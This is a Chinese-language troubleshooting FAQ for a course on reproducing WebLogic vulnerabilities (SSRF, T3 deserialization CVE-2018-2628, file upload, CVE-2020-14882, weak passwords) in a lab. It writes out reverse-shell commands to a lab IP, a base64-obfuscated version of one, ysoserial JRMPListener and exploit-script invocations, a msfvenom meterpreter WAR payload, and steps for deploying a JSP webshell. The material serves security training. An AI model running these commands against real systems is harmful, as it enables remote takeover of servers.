【汇总】Weblogic漏洞复现问题

课程：中间件-Weblogic漏洞

MacOS复现参考（学员“暂无”编写）：
https://juejin.cn/post/7356447891822575625

# 问题1：7001打开是Error 404--Not Found

![](/media/202404/2024-04-09_093557_6293820.9186599419098554.png)

解决办法：
在后面加上console，初始化一次
x.x.x.x:7001/console

# 问题2：CVE-2014-4210-SSRF Redis无法启动

解决办法参考：
https://blog.csdn.net/weixin_43886198/article/details/111144854

CVE-2014-4210-SSRF漏洞复现
https://cloud.fynote.com/share/d/r0UfRAjG

# 问题3： CVE-2018-2628-T3协议反序列化漏洞，复现失败
(如果你对于为什么不直接发反弹链接Payload有疑惑，看这个：https://wiki.bafangwy.com/doc/668/)
完整的利用流程：

## 1、Kali监听7777端口

``nc -lvp 7777``

## 2、准备反弹连接命令
把连接到kali的反弹连接命令，经过base64编码
网站：https://wiki.bafangwy.com/doc/401/
 原命令示例：
``bash -i >& /dev/tcp/192.168.142.162/7777 0>&1``
转换后：
``
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
``

## 3、启动JRMPListener
Kali使用ysoserial.jar监听了本机8761端口，并且准备好反弹连接内容
``
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
``

## 4、向靶机发送payload
Kali攻击机使用cve-2018-2628-exp.py脚本连接靶机7001端口，并且让靶机去连接ysoserial启动的8761端口
``python2 cve-2018-2628-exp.py 192.168.142.133 7001 ysoserial.jar 192.168.142.162 8761 JRMPClient``

## 排查方法
如果复现不成功，就需要从以下几个方面进行排查：
1、靶机和攻击机（Kali）的IP，能相互ping通吗？
如果本身网络不通，肯定是有问题的

2、执行 exp.py以后，有没有成功连接到靶机？

![](/media/202403/2024-03-22_154524_8242020.24766050803974426.png)

如果没有成功，检查：
1）运行cve-2018-2628-exp.py的命令是否有问题
2）网络连通性

3、JRMPListener，8761端口，有没有收到来自靶机（如图中192.168.142.133）的请求？

![](/media/202403/2024-03-22_154425_3005510.0010984278436749761.png)

如果这一步没有成功，说明要么是靶机没有收到exp脚本发来的反序列化内容，要么是收到了反序列化内容，但是内容有误，所以无法去连接JRMPListener。

检查：
1）网络连通性
2）启动JRMPListener的命令（包括反弹连接代码）是否有问题

3、如果JRMPListener，8761端口，收到了来自靶机的请求，但是最后还是没有成功：

说明靶机已经请求了反弹连接的内容，但是最终反弹连接没有成功。

检查：
1）网络连通性。可以直接在靶机执行``bash -i >& /dev/tcp/192.168.142.162/7777 0>&1``，验证是否可以连接成功。如果直接运行不成功，利用漏洞去连接肯定不会成功。
2）反弹连接的代码是否有问题（比如格式、IP、端口错误）？
3）启动Docker靶场的时候，不要加``-d``参数，这样就可以看到服务端输出的日志，根据日志显示内容排查错误

其他解决办法：
`docker-compose down` 移除靶场，再次启动试试，参考：
https://www.mashibing.com/question/detail/106163

其他方法：尝试其他复现流程
https://blog.csdn.net/weixin_63960760/article/details/132837960

# 问题4：弱口令 MSF木马访问500错误

![](/media/202403/2024-03-14_131201_5135040.9693087710616617.png)

首先，仔细对比课堂的操作流程：
https://cloud.fynote.com/share/d/Hh7JAHNp3

## 解决办法1：用kali2021
应该是kali里面的msf的版本过高的问题。用kali2021就可以成功。
```
Kali 2021.3 下载：
https://msb-netdisk.mashibing.com/share/225a36d734614cf98f58d2418ea7cf7a
```

命令(修改为你监听的IP和端口)：
`msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.162 lport=4444 -f war -o java.war`

参考：https://www.mashibing.com/question/detail/96280

## 解决办法2：使用冰蝎的JSP马链接成功
将冰蝎生成的shell.jsp文件，右键压缩成zip文件，然后将后缀改为`.war`，将war文件部署在webgoic上，使用冰蝎链接，反弹shell
参考：https://www.mashibing.com/question/detail/94720

# 问题5：弱口令 weblogic_decrypt.jar启动或解密报错
工具：
https://github.com/KimJun1010/WeblogicTool
## 前提条件
1、Java版本必须是8
2、密文检查前后不能有空格

## 错误1 异常：pad block corrupted

![](/media/202403/2024-03-11_205402_1710330.8630299576184142.png)

### 解决办法

重新保存文件：

![](/media/202403/2024-03-11_205257_5720540.8371520670254955.png)

方法由**周向东**同学提供，特此致谢。

![](/media/202403/2024-03-15_174307_8776490.8965202946638576.png)

## 错误2 java.lang.Negative.ArraySizeException

![](/media/202312/2023-12-26_164031_8979630.032175619490364626.png)

### 解决办法
使用JDK8，删除密文中的空格

## 错误3 MacOS下数据包的保存问题

参考：
https://www.mashibing.com/question/detail/97263

## 错误4
关联问题
https://www.mashibing.com/question/detail/80713
### 错误信息
Exception in thread "AWT-EventQueue-0" java.lang.NoClassDefFoundError: org/bouncycastle/jce/provider/BouncyCastleProvider

![](/media/202309/2023-09-08_161159_8179640.34289078025611675.png)

### 错误原因
由于bcprov jar包签名问题，所以首次解密会出现异常：PBEWITHSHAAND128BITRC2-CBC SecretKeyFactory not available。

### 解决办法
需要手动下载 
https://repo1.maven.org/maven2/org/bouncycastle/bcprov-jdk15on/1.56/bcprov-jdk15on-1.56.jar
然后将文件存在本地安装的JDK路径下，例如 E:\Java\jdk1.8.0_60\jre\lib\ext

# 问题5：CVE-2018-2894 任意文件上传-访问木马404
关联问题：
https://www.mashibing.com/question/detail/100532

![](/media/202405/2024-05-28_154100_5160870.4765709209477317.png)

## 问题原因：
漏洞地址：
http://192.168.142.133:7001/ws_utc/config.do

修改工作目录
`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`

>d 原因是：这里的工作目录后面多了一个空格！删除以后重新保存即可

# 问题6：CVE-2020-14882-RCE漏洞复现失败

仔细与复现流程对比：
https://cloud.fynote.com/share/d/GjWNLHA1G

问题1:404错误
https://www.mashibing.com/question/detail/100582
这个问题的原因是poc.xml内容有问题：
`>和&之间多了空格，删掉就解决了`

![](/media/202406/2024-06-05_160902_6259880.7894865108822567.png)

问题2：
https://www.mashibing.com/question/detail/100789